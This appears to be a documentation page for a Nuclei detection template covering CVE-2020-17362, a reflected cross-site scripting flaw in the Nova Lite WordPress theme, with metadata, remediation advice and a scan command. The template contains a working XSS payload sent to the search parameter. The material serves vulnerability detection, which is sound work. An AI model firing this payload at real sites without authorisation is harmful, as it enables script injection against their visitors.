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Nova Lite < 1.3.9 - Cross-Site Scripting

ID: CVE-2020-17362

Severity: medium

Author: daffainfo

Tags: cve2020,cve,wordpress,xss,wp-plugin,wpscan,unauth,themeinprogress

Description

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Nova Lite before 1.3.9 for WordPress is susceptible to reflected cross-site scripting via search.php.

YAML Source

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id: CVE-2020-17362


info:
  name: Nova Lite < 1.3.9 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Nova Lite before 1.3.9 for WordPress is susceptible to reflected cross-site scripting via search.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to Nova Lite version 1.3.9 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/30a83491-2f59-4c41-98bd-a9e6e5a609d4
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17362
    - https://themes.trac.wordpress.org/browser/nova-lite/1.3.9/readme.txt?rev=134076
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-17362
    cwe-id: CWE-79
    epss-score: 0.00101
    epss-percentile: 0.41606
    cpe: cpe:2.3:a:themeinprogress:nova_lite:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: themeinprogress
    product: nova_lite
    framework: wordpress
  tags: cve2020,cve,wordpress,xss,wp-plugin,wpscan,unauth,themeinprogress


http:
  - method: GET
    path:
      - '{{BaseURL}}/?s=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"


      - type: word
        part: body
        words:
          - "nova-lite"


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 490a0046304402203d00576c81fb7c46d7ce9ea56285888367999208c56dd856d99ba37084b3e4f302205d8fde61931a8709f14b215a0945fb7e5c3f201ff901f6a5f3ed45f0221df8a9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

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This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-17362.yaml"

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